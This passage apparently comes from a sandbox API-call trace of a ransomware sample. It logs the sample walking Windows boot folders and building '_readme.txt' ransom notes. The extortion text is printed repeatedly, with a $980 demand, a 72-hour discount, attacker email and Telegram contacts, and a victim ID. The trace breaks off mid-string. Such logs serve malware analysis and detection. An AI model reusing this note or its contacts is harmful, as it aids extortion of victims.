tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.387] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.387] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_readme.txt" (normalized: "c:\\boot\\fr-fr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.387] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.387] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.387] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.387] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.387] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.387] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.387] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.387] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.387] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.387] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.387] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.387] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.387] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.387] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.387] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.388] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.388] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.388] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.388] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.388] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.388] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.388] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.388] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.388] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.388] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.388] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.388] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.388] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.388] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.388] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.388] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.388] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.388] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.388] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.388] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.388] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.388] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.388] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.388] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.388] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.388] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.388] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.388] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.388] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.388] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.388] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.388] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.389] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.389] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.389] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.389] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.389] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.389] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.389] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.389] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.389] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.389] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.389] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.389] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.389] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.389] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.389] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.389] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.389] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.389] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.389] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.389] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.389] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.389] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.389] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.389] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.389] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.389] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.389] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.389] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.389] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.389] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.389] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.389] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.390] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.390] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.390] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.390] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.390] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.390] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.390] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.390] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.390] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.390] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.390] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.390] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.390] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.390] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.390] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.390] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.390] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.390] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.390] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.390] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.390] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.390] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.390] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.390] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.390] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.390] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.390] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.390] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.390] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.390] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.390] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.390] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.391] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.391] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.391] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.391] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.391] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.391] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.391] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.391] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.391] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.391] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.391] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.391] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.391] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.391] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.391] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.391] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.391] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.391] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.391] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.391] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.391] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.391] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.391] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.391] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.391] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.391] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0116.391] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.391] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.391] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.391] PathFindFileNameW (pszPath="") returned="" [0116.391] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.392] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.392] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.392] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.392] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.392] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.392] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.392] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0116.392] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.392] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.392] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 0 [0116.392] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.392] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.392] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never 